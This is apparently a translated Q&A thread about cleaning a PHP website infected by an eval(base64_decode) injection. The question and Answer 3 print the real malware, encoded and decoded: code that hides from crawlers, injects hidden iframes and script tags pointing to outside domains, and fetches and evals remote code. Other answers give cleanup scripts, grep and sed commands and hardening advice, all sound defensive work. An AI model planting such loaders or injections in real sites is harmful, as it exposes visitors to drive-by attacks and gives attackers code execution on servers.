Подтвердить что ты не робот

Как избавиться от eval-base64_decode, как файлы вирусов PHP?

Мой сайт (очень большой сайт сообщества) был недавно заражен вирусом. Каждый файл index.php был изменен так, чтобы открывающий php-тег этих файлов был изменен на следующую строку:

<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0='));

Когда я декодировал это, он создал следующий код PHP:

    <?php
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
    array("216.239.32.0","216.239.63.255"),
    array("64.68.80.0"  ,"64.68.87.255"  ),
    array("66.102.0.0",  "66.102.15.255"),
    array("64.233.160.0","64.233.191.255"),
    array("66.249.64.0", "66.249.95.255"),
    array("72.14.192.0", "72.14.255.255"),
    array("209.85.128.0","209.85.255.255"),
    array("198.108.100.192","198.108.100.207"),
    array("173.194.0.0","173.194.255.255"),
    array("216.33.229.144","216.33.229.151"),
    array("216.33.229.160","216.33.229.167"),
    array("209.185.108.128","209.185.108.255"),
    array("216.109.75.80","216.109.75.95"),
    array("64.68.88.0","64.68.95.255"),
    array("64.68.64.64","64.68.64.127"),
    array("64.41.221.192","64.41.221.207"),
    array("74.125.0.0","74.125.255.255"),
    array("65.52.0.0","65.55.255.255"),
    array("74.6.0.0","74.6.255.255"),
    array("67.195.0.0","67.195.255.255"),
    array("72.30.0.0","72.30.255.255"),
    array("38.0.0.0","38.255.255.255")
    );
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
    $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
    if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
    if  (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>';
}

Я пробовал несколько вещей, чтобы очистить вирус, даже восстанавливая его из резервной копии, и файлы заражаются через несколько минут или часов. Так что, пожалуйста, помогите мне?

Что вы знаете об этом вирусе?

Есть ли известное отверстие безопасности, которое оно использует для установки и распространения?

Что делает этот php-код на самом деле?

Что делает страница, которую он вкладывает в iframe?

И, конечно, что более важно: Что я могу сделать, чтобы избавиться от него?

Пожалуйста, помогите, у нас почти не осталось идей и надежд: (

Update1 Некоторые подробности: странно: когда мы сначала проверили зараженные файлы. Они были изменены, но их модифицированное время в программе ftp показывало последний доступ в несколько дней, месяцев или даже лет назад в некоторых случаях! Как это вообще возможно? Это сводит меня с ума!

ОБНОВЛЕНИЕ 2 Я думаю, что проблема началась после того, как пользователь установил плагин в своей установке Wordpress. После восстановления из резервной копии и полного удаления папки Wordpress и связанной с ней db проблема исчезла. В настоящее время мы подписались на службу безопасности, и они расследуют эту проблему, чтобы убедиться, что взломать не удалось. Спасибо всем, кто ответил.

4b9b3361

Ответ 1

Шаги по восстановлению и лечению вашего сайта (при наличии хорошей резервной копии).

1) Выключение сайта

Вам нужно в основном закрыть дверь на ваш сайт, прежде чем выполнять свою коррекционную работу. Это предотвратит доступ посетителей к вредоносному коду, просмотр сообщений об ошибках и т.д. Просто хорошая практика.

Вы должны сделать это, поместив следующее в свой файл .htaccess в веб-корне. (Замените "Ваш IP-адрес здесь!" С вашим собственным IP-адресом - см. http://icanhazip.com, если вы не знаете свой IP-адрес.)

order deny,allow
deny from all
allow from !!Your IP Address Here!!

2) Загрузите копию всех ваших файлов с сервера

Загрузите все в отдельную папку из ваших резервных копий. Это может занять некоторое время (в зависимости от размера вашего сайта, скорости соединения и т.д.).

3) Загрузите и установите программу сравнения файлов/папок

На компьютере с Windows вы можете использовать WinMerge - http://winmerge.org/ - он бесплатный и достаточно мощный. На машине MacOS просмотрите список возможных альтернатив из Alternative.to

4) Запустите утилиту сравнения файлов/папок

Вы должны получить несколько разных результатов:

  • Файлы идентичны. Текущий файл совпадает с вашим резервным копированием, поэтому он не изменяется.
  • Файл только с левой или с правой стороны - этот файл существует только в резервной копии (и может быть удален с сервера) или существует только на сервере (и, возможно, был взломан/создан хакером).
  • Файл отличается. Файл на сервере не совпадает с файлом в резервной копии, поэтому он может быть изменен вами (для его настройки для сервера) или хакером (для ввода кода).

5) Разрешить различия

(a.k.a "Почему мы не можем просто ладить?" )

Для файлов, которые являются идентичными, никаких дополнительных действий не требуется. Для файлов, которые существуют только на одной стороне, посмотрите файл и выясните, являются ли они законными (например, пользовательские загрузки, которые должны быть там, дополнительные файлы, которые вы могли добавить, и т.д.). Для файлов, которые отличаются друг от друга, посмотрите на файл (Утилита разницы файлов может даже показать вам, какие строки были добавлены/изменены/удалены) и посмотрите, действительно ли версия сервера. Перезапишите (с резервной копией) любые файлы, содержащие вредоносный код.

6) Просмотрите свои меры предосторожности

Независимо от того, как это изменить ваши пароли FTP/cPanel или пересмотреть использование внешних/неконтролируемых ресурсов (как вы говорите, вы выполняете много fgets, fopens и т.д., вы можете проверить передаваемые параметры их как способ заставить скрипты вредоносного кода) и т.д.

7) Проверьте работу сайта

Возьмите возможность быть единственным человеком, который смотрит на сайт, чтобы убедиться, что все по-прежнему работает, как ожидалось, после исправления зараженных файлов и удаления вредоносных файлов.

8) Откройте дверцы

Отмените изменения, сделанные в файле .htaccess на шаге 1. Следите внимательно. Следите за сообщениями посетителей и журналов ошибок, чтобы узнать, пытается ли кто-либо инициировать удаленные вредоносные файлы и т.д.

9) Рассмотрим автоматизированные методы обнаружения

Существует несколько решений, позволяющих вам выполнить автоматическую проверку на вашем хосте (используя задание CRON), которое будет обнаруживать и детализировать любые изменения, которые происходят. Некоторые из них немного подробные (вы получите электронное письмо для каждого измененного файла), но вы должны быть в состоянии адаптировать их к вашим потребностям:

10) Запланированное резервное копирование и сохранение хорошего скобки

Убедитесь, что на вашем сайте запланировано резервное копирование, сохраните несколько из них, так что у вас есть разные шаги, которые вы можете вернуться вовремя, если это необходимо. Например, если вы выполняли еженедельные резервные копии, вы можете сохранить следующее:

  • 4 x Еженедельные резервные копии
  • 4 x Ежемесячное резервное копирование (вы сохраняете одно из Еженедельных резервных копий, возможно, первую неделю месяца, как Ежемесячное резервное копирование).

Это всегда облегчит жизнь, если у вас кто-то атакует ваш сайт чем-то более разрушительным, чем атака с инъекцией кода.

О, и убедитесь, что вы также создаете резервные копии своих баз данных - с большим количеством сайтов, основанных на CMS, с хорошими файлами, но если вы потеряете/испортите базу данных позади них, ну, резервные копии в основном бесполезны.

Ответ 2

Сначала отключите свой сайт, пока не выясните, как он попал и как его исправить. Это похоже на то, что он вредит вашим клиентам.

Затем выполните поиск через ваши php файлы для fgets, fopen, fputs, eval или system. Я рекомендую notepad ++ из-за его функции "Найти в файлах". Кроме того, убедитесь, что это единственное место, где был изменен ваш PHP. У вас есть автономная копия для сравнения?

Ответ 3

Я страдал от той же взломанной работы. Мне также удалось расшифровать код, и, хотя у меня появился другой php-код, я начал с удаления вложенного PHP-текста, перейдя через каждый php файл на сайте и удалив eval-вызов. Я до сих пор изучаю, как я это начал, но вот что мое выглядело после дешифрования с этого сайта:

Для декодирования зашифрованного PHP скрипт в каждом файле php используйте это: http://www.opinionatedgeek.com/dotnet/tools/base64decode/

И форматирование результата с помощью этого парня: http://beta.phpformatter.com/

Для очистки вам нужно удалить строку "eval" из верхней части каждого php файла и удалить папки .log из базовой папки веб-сайта.

Я нашел python script, который я немного изменил, чтобы удалить троян в php файлах, поэтому отправлю его здесь для использования другими: источник кода из потока: заменить ВСЕ экземпляры символа другим во всех файлах иерархически в дереве каталогов

import os
import re
import sys

def try_to_replace(fname):
    if replace_extensions: 
        return fname.lower().endswith(".php")
    return True


def file_replace(fname, pat, s_after):
    # first, see if the pattern is even in the file.
    with open(fname) as f:
        if not any(re.search(pat, line) for line in f):
            return # pattern does not occur in file so we are done.

    # pattern is in the file, so perform replace operation.
    with open(fname) as f:
        out_fname = fname + ".tmp"
        out = open(out_fname, "w")
        for line in f:
            out.write(re.sub(pat, s_after, line))
        out.close()
        os.rename(out_fname, fname)


def mass_replace(dir_name, s_before, s_after):
    pat = re.compile(s_before)
    for dirpath, dirnames, filenames in os.walk(dir_name):
        for fname in filenames:
            if try_to_replace(fname):
                print "cleaning: " + fname
                fullname = os.path.join(dirpath, fname)
                file_replace(fullname, pat, s_after)

if len(sys.argv) != 2:
    u = "Usage: rescue.py <dir_name>\n"
    sys.stderr.write(u)
    sys.exit(1)

mass_replace(sys.argv[1], "eval\(base64_decode\([^.]*\)\);", "")

использовать тип

python rescue.py корневая папка

Это то, что пытался сделать злонамеренный script:

<?php

if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) {
    $_SERVER['mr_no'] = 1;
    if (!function_exists('mrobh')) {
        function get_tds_777($url)
        {
            $content = "";
            $content = @trycurl_777($url);
            if ($content !== false)
                return $content;

            $content = @tryfile_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfopen_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfsockopen_777($url);
            if ($content !== false)
                return $content;
            $content = @trysocket_777($url);
            if ($content !== false)
                return $content;
            return '';
        }

        function trycurl_777($url)
        {
            if (function_exists('curl_init') === false)
                return false;
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            $result = curl_exec($ch);
            curl_close($ch);
            if ($result == "")
                return false;
            return $result;
        }
        function tryfile_777($url)
        {
            if (function_exists('file') === false)
                return false;
            $inc = @file($url);
            $buf = @implode('', $inc);
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfopen_777($url)
        {
            if (function_exists('fopen') === false)
                return false;
            $buf = '';
            $f   = @fopen($url, 'r');
            if ($f) {
                while (!feof($f)) {
                    $buf .= fread($f, 10000);
                }
                fclose($f);
            } else
                return false;
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfsockopen_777($url)
        {
            if (function_exists('fsockopen') === false)
                return false;
            $p    = @parse_url($url);
            $host = $p['host'];
            $uri  = $p['path'] . '?' . $p['query'];
            $f    = @fsockopen($host, 80, $errno, $errstr, 30);
            if (!$f)
                return false;
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            fwrite($f, $request);
            $buf = '';
            while (!feof($f)) {
                $buf .= fread($f, 10000);
            }
            fclose($f);
            if ($buf == "")
                return false;
            list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }
        function trysocket_777($url)
        {
            if (function_exists('socket_create') === false)
                return false;
            $p    = @parse_url($url);
            $host = $p['host'];
            $uri  = $p['path'] . '?' . $p['query'];
            $ip1  = @gethostbyname($host);
            $ip2  = @long2ip(@ip2long($ip1));
            if ($ip1 != $ip2)
                return false;
            $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            if ([email protected]_connect($sock, $ip1, 80)) {
                @socket_close($sock);
                return false;
            }
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            socket_write($sock, $request);
            $buf = '';
            while ($t = socket_read($sock, 10000)) {
                $buf .= $t;
            }
            @socket_close($sock);
            if ($buf == "")
                return false;
            list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }
        function update_tds_file_777($tdsfile)
        {
            $actual1 = $_SERVER['s_a1'];
            $actual2 = $_SERVER['s_a2'];
            $val     = get_tds_777($actual1);
            if ($val == "")
                $val = get_tds_777($actual2);
            $f = @fopen($tdsfile, "w");
            if ($f) {
                @fwrite($f, $val);
                @fclose($f);
            }
            if (strstr($val, "|||CODE|||")) {
                list($val, $code) = explode("|||CODE|||", $val);
                eval(base64_decode($code));
            }
            return $val;
        }
        function get_actual_tds_777()
        {
            $defaultdomain = $_SERVER['s_d1'];
            $dir           = $_SERVER['s_p1'];
            $tdsfile       = $dir . "log1.txt";
            if (@file_exists($tdsfile)) {
                $mtime = @filemtime($tdsfile);
                $ctime = time() - $mtime;
                if ($ctime > $_SERVER['s_t1']) {
                    $content = update_tds_file_777($tdsfile);
                } else {
                    $content = @file_get_contents($tdsfile);
                }
            } else {
                $content = update_tds_file_777($tdsfile);
            }
            $tds = @explode("\n", $content);
            $c   = @count($tds) + 0;
            $url = $defaultdomain;
            if ($c > 1) {
                $url = trim($tds[mt_rand(0, $c - 2)]);
            }
            return $url;
        }
        function is_mac_777($ua)
        {
            $mac = 0;
            if (stristr($ua, "mac") || stristr($ua, "safari"))
                if ((!stristr($ua, "windows")) && (!stristr($ua, "iphone")))
                    $mac = 1;
            return $mac;
        }
        function is_msie_777($ua)
        {
            $msie = 0;
            if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
                $msie = 1;
            return $msie;
        }
        function setup_globals_777()
        {
            $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
            $mz = "/tmp/";
            if ([email protected]_dir($rz)) {
                @mkdir($rz);
                if (@is_dir($rz)) {
                    $mz = $rz;
                } else {
                    $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
                    if ([email protected]_dir($rz)) {
                        @mkdir($rz);
                        if (@is_dir($rz)) {
                            $mz = $rz;
                        }
                    } else {
                        $mz = $rz;
                    }
                }
            } else {
                $mz = $rz;
            }
            $bot = 0;
            $ua  = $_SERVER['HTTP_USER_AGENT'];
            if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
                $bot = 1;
            if (stristr($ua, "bingbot") || stristr($ua, "google"))
                $bot = 1;
            $msie = 0;
            if (is_msie_777($ua))
                $msie = 1;
            $mac = 0;
            if (is_mac_777($ua))
                $mac = 1;
            if (($msie == 0) && ($mac == 0))
                $bot = 1;
            global $_SERVER;
            $_SERVER['s_p1']     = $mz;
            $_SERVER['s_b1']     = $bot;
            $_SERVER['s_t1']     = 1200;
            $_SERVER['s_d1']     = base64_decode('http://ens122zzzddazz.com/');
            $d                   = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . urlencode($_SERVER["PHP_SELF"]) . "&a=" . urlencode($_SERVER["HTTP_USER_AGENT"]);
            $_SERVER['s_a1']     = base64_decode('http://cooperjsutf8.ru/g_load.php') . $d;
            $_SERVER['s_a2']     = base64_decode('http://nlinthewood.com/g_load.php') . $d;
            $_SERVER['s_script'] = "nl.php?p=d";
        }
        setup_globals_777();
        if (!function_exists('gml_777')) {
            function gml_777()
            {
                $r_string_777 = '';
                if ($_SERVER['s_b1'] == 0)
                    $r_string_777 = '<script src="' . get_actual_tds_777() . $_SERVER['s_script'] . '"></script>';
                return $r_string_777;
            }
        }
        if (!function_exists('gzdecodeit')) {
            function gzdecodeit($decode)
            {
                $t     = @ord(@substr($decode, 3, 1));
                $start = 10;
                $v     = 0;
                if ($t & 4) {
                    $str = @unpack('v', substr($decode, 10, 2));
                    $str = $str[1];
                    $start += 2 + $str;
                }
                if ($t & 8) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 16) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 2) {
                    $start += 2;
                }
                $ret = @gzinflate(@substr($decode, $start));
                if ($ret === FALSE) {
                    $ret = $decode;
                }
                return $ret;
            }
        }
        function mrobh($content)
        {
            @Header('Content-Encoding: none');
            $decoded_content = gzdecodeit($content);
            if (preg_match('/\<\/body/si', $decoded_content)) {
                return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1', $decoded_content);
            } else {
                return $decoded_content . gml_777();
            }
        }
        ob_start('mrobh');
    }
}

?> 

Ответ 4

Чтобы избавиться от этих вредоносных PHP, вам просто нужно их удалить. Если файл заражен, вам нужно удалить только ту часть, которая выглядит подозрительной.

Всегда сложно найти эти файлы, потому что, как правило, их несколько через ваш веб-корень.

Обычно, если вы видите какие-то обфускации, это красное предупреждение для вас.

Большинство вредоносных программ легко найти на основе общих функций, которые они используют, в том числе:

  • base64_decode,
  • lzw_decompress,
  • eval,
  • и т.д.

Используя формат кодирования, они уплотняют их размер и затрудняют их декодирование неопытными пользователями.

Вот несколько команд grep, которые могут найти наиболее распространенный вредоносный код PHP:

grep -R return.*base64_decode  .
grep --include=\*.php -rn 'return.*base64_decode($v.\{6\})' .

Вы можете запускать эти команды на сервере или после синхронизации своего веб-сайта с локальным компьютером (через FTP, например, ncftpget -R).

Или используйте инструменты сканирования, специально разработанные для поиска таких вредоносных файлов, см. сканеры безопасности PHP.

В целях обучения найдите следующую коллекцию сценариев эксплойта PHP, найденную при исследовании взломанных серверов, доступных по адресу kenorb/php-exploit-scripts GitHub (под влиянием @оригинальная коллекция Mattias). Это даст вам представление о том, как выглядят подозрительные файлы PHP, поэтому вы можете узнать, как их найти на своем сервере.

См. также: Что делает этот вредоносный PHP script?

Ответ 5

  • Обеспечьте обновление любых популярных веб-приложений, таких как Wordpress или vBulletin. Есть много эксплойтов со старыми версиями, которые могут привести к сбою вашего сервера, и это, вероятно, произойдет снова, если они не будут обновлены. Не использовать при продолжении, пока это не будет сделано.

  • Если файлы продолжают заменяться, тогда в фоновом режиме выполняется руткит или троян. Этот файл не может реплицироваться. Сначала вам придется сначала избавиться от руткита. Попробуйте rkhunter, chkrootkit и LMD. Сравните вывод ps aux с защищенным сервером и проверьте /var/tmp и /tmp на подозрительные файлы. Возможно, вам придется переустановить ОС.

  • Убедитесь, что все рабочие станции, администрирующие сервер, обновлены и чисты. Не подключайтесь через небезопасные беспроводные соединения или используйте обычную текстовую аутентификацию, например, с FTP (вместо этого используйте SFTP). Только войдите в панели управления с https.

  • Чтобы это не повторилось, запустите csf или сопоставимый брандмауэр, ежедневно LMD сканирует и остается в курсе последних обновлений безопасности для всех приложений на сервере.

Ответ 6

Мои веб-сайты или веб-сайты, на которых я принимаю, несколько раз подвергались ударам с подобными атаками.

Представляю, что я сделал, чтобы решить проблему. Я не делаю вид, что это лучший/простой подход, но он работает, и с тех пор я могу упреждающе держать мяч в своей области.

  • решить проблему как можно скорее Я создал очень простой PHP скрипт (он был написан, когда железо было горячим, поэтому, возможно, это не самый оптимизированный код, но он решает проблему довольно быстро): http://www.ecommy.com/web-security/clean-php-files-from-eval-infection

  • убедитесь, что знаете, когда что-то похожее на это снова. Хакеры используют все виды аплоасов из SQL-инъекции одного из ваших внешних модулей, которые вы устанавливаете, чтобы перенаправить вашу панель администратора со словарными атаками или очень хорошо известные шаблоны паролей, такие как 1qaz... qwerty.... и т.д. Я представляю сценарии здесь: http://www.ecommy.com/web-security/scan-for-malware-viruses-and-php-eval-based-infections

  • запись cron будет примерно такой: 0 2 * * 5/root/scripts/base64eval_scan > /dev/null 2 > & 1 &

Я обновил страницы, чтобы кто-то мог напрямую загрузить файлы. Надеюсь, он будет полезен для вас, как для меня:)

Ответ 7

Предполагая, что это сервер на базе Linux и у вас есть доступ к SSH, вы можете запустить это, чтобы удалить код нарушения:

find . -name "*.php" | xargs sed -i '[email protected][ \t]*([ \t]*base64_decode[ \t]*([ \t]*['"'"'"][A-Za-z0-9/_=+:!.-]\{1,\}['"'"'"][ \t]*)[ \t]*)[ \t]*;@@'

Это охватывает все известные реализации base64 и будет работать, будет ли текст base64 окружен одинарными или двойными кавычками

EDIT: теперь также работает с внутренними пробелами.